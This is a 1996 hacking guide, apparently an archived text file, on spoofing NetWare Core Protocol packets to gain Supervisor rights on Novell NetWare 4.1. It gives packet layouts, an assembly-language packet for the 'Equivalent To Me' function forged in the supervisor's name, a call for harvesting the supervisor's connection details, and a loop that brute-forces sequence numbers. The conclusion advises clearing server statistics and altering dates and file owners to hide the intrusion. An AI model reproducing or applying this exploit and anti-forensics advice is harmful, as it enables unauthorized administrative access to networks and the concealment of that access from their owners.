home *** CD-ROM | disk | FTP | other *** search
-
-
- HACKING NOVELL NETWARE 4.1
- ----------------------------------
- Version 1.2
-
- by Ilchenko Eugene and Gusev Igor
-
-
- 1996
-
- Contents
-
-
- Introduction...........................................................3
- 1.Exchange packets principle...........................................4
- 2.The common idea of cracking..........................................4
- 3.How to get Supervisor's rights.......................................5
- 4.Consequences.........................................................7
- Conclusion............................................................10
-
-
-
- Introduction
-
-
-
- As you know everything can be broken and NOVELL NETWARE is not an
- exeption. But the time for cracking something is defined by the time of
- geting information about it. The more information you will find the more
- easy it will be for you to crack.
- In this documentation we'd like to tell you some sence about NOVELL
- net and about cracking it.
- This document is only for studying.In this document only the common
- principles are discussed. If you still wonna hack you should know IPX
- and NCP (netware core protocol) and think little for
- yourself.
-
- Excuse our English - it is not our first language. :)
-
-
- 1.Exchange packets principle.
-
- First of all the server and workstations send packets to each other
- accoding to the special protocol known as Netware Core Protocol ( NCP )
- based on the IPX protocol. Every packet is sighed with its own number
- from 0 to 255 stored in one byte. This field is known as Sequence
- Number. Look at the packet structure.
-
-
- The packet structure
-
- Field Number Memory Meaning
- of bytes location
-
- ------------------------ Phisical packet header ------------------------
-
- ReceiverAddress 6 Normal The address of the workstation that
- will recive the packet
- SenderAddress 6 Normal The address of the workstation that
- sends the packet
- DataLength 2 High-Low The packet length
-
- ------------------------- IPX protocol header --------------------------
- CheckSum 2 Normal The packet checksum.
- IpxLength 2 High-Low The IPX packet length
- HopCount 1 - Number of bridges to overcome
- PacketType 1 - The packet type.
- DestNetwork 4 Normal The destination subnet address
- DestNode 6 Normal The destination workstation address
- DestSocket 2 Low-High The destination programme socket
- SourceNetwork 4 Normal The source subnet addres
-
-
- SourceNode 6 Normal The source workstation address
- SourceSocket 2 Low-High the source programme socket
-
- ------------------------- NCP protocol header --------------------------
- RequestType 2 Low-High Depends on the request
- SequenceNumber 1 - The number of the packet
- ConectionNumberLow 1 - The conrction number.During the lo-
- gin operation every station are as-
- signed with the its own number
- TaskNumber 1 - The task number. It is for worksta-
- ion I guess. Never mind about it.
- Just set it zero or whatever number
- you like.
- ConectionNumberHigh 1 - Always 0.
- FunctionCode 1 - The function identificator.
-
- -------------------------- NCP protocol data ---------------------------
- - - - Depends on the requet type and the
- function
-
- The initiater is the workstation. It sends a requirement packet and
- waits for an answer. The server receives the packet , check the station
- address , the subnet address , the socket , the conection and the
- sequence number. If something is wrong the server reject to accomplish
- the requirement operation and send the answer.
-
-
-
- 2.The common idea of cracking.
-
- As was said above the server checks all the packets it receives. But
- if to form the packet like the other workstation, set its addresses in
- the packet , set its connection number and so on and then to send it to
- the net the server will never know whos request it has accomplished.The
- main difficulty is the sequens number because others fields can be
- obtained from the server with the usual functions. To make sure server
- the server has accomplish the operation you should send the same packet
- 255 times with different sequens numbers.
-
-
-
- 3.How to get supervisor's rights
-
- You can get supervisor's rights just having become supervisor
- equevalent. There is a function known as EQUIVALENT TO ME that you
- should send in name of supervisor. Look at the packet structure.
-
- The packet structure with function EQUIVALENT TO ME
-
- ------------------------ Phisical packet header ------------------------
- RecAdr db 00,20h,0afh,4fh,5fh,0ah
- SndAdr db 00,20h,0afh,089h,022h,0afh
- DataLength db 01,68h
- -------------------------- IPX packet header ---------------------------
- dw 0ffffh
- IpxLength db 01,67h
- db 0
- db 17
- DestNetwork db ?,?,?,?
- DestNode db ?,?,?,?,?,?
- DestSocket db 04,51h
- SourceNetWork db 00,00,01,02
- SourceNode db ?,?,?,?,?,?
- SourceSocket db 40h,03
- -------------------------- NCP packet header ---------------------------
- db 22h,22h
- SequenceNumber db 48
- ConnectionNumberLow db 24
- db 4
- db 0
- db 68h
- db 2
- --------------------------- NCP packet data ----------------------------
- dd -1
- dd 514
- S1_2: dd offset S1_1 - offset S1_2-4
- dd 0
- dd 9
- dd 0
- dd 0
- dd 0
- S1ID db 67h,02h,00,06h
- dd 1
- dd 5
- dd 34
- db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
- db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
- dd 0
- dd 1
- dd 26
- db '3',0,'1',0,'0',0,'7',0,'.',0,'I',0,'N',0,'F',0
- db '.',0,'T',0,'S',0,'U',0
-
- !!! - two last strings - your full network name (like 3107.inf.tsu)
-
-
- To get supervisor's address,subnet,socket,ID,conection number you can
- via the function Get Connection Information. Look below.
-
-
-
- Get Connection Information
- ah=E3h
- ds:si=> ConReq
- dw 2 - length
- db 16h - subfunction
- db ? - Conection Number
- es:di=> ConRep
- dw 62 - length
- db 4 dup (?)
- dw ? - User Type
- db 56 duo (?) - User login name
- int 21h
-
- You can send the packet via IPX driver (function 9) but in this case
- you have not access to the phisical packet header. I guess the server
- does not check the sender address there.
- You can also send the packet via LSL driver but it is too difficult.
- The simplest way is to send the packet via ODIPKT driver ( function
- 4 ).
-
- Send Packet Via Odipkt
-
- ah=4
- cx=length
- ds:si=>packet
- int 60h
- C=1 if error
-
-
- The procedure of sending packets
-
- Send proc
- mov SequenceNumber,0
- @@1: push ds
- push es
- mov ah,4
- mov cx,Length
- mov si,offset Packet
- int 60h
- pop es
- pop ds
- jc @@1
- mov cx,1000
- loop $-2
- dec SequenceNumber
- jne @@1
- ret
- Send endp
-
-
-
- 4.Consequences.
-
- After answering a packet a server waits for another one with
- incremented sequence number. If you try to squees your packet into the
- work between the server and the workstation then there will appear the
- dissequence of packets and the user will hang up. But you can avoid this
- by sending 256*255 packets more.
-
-
-
- Conclusion
-
- If you realize the program accoding to this documentation you will
- get big rights. I hope you will not harm anybody. Moreover,do not forget
- that all what you do is fixed on the server.Clear off the server statis-
- tic. Don't forget about dates and file owners.
-
- Copyright 1995. by dISEr&_Igor_ (http://www.tsu.tomsk.su/~eugene/)
-
- All comments, ideas, and questions send to eugene@info.tsu.tomsk.su
- (especially for Novell company - i dont know any e-mail address of the
- Sequrity Expert of the Novell Company, and i want to know it....)
-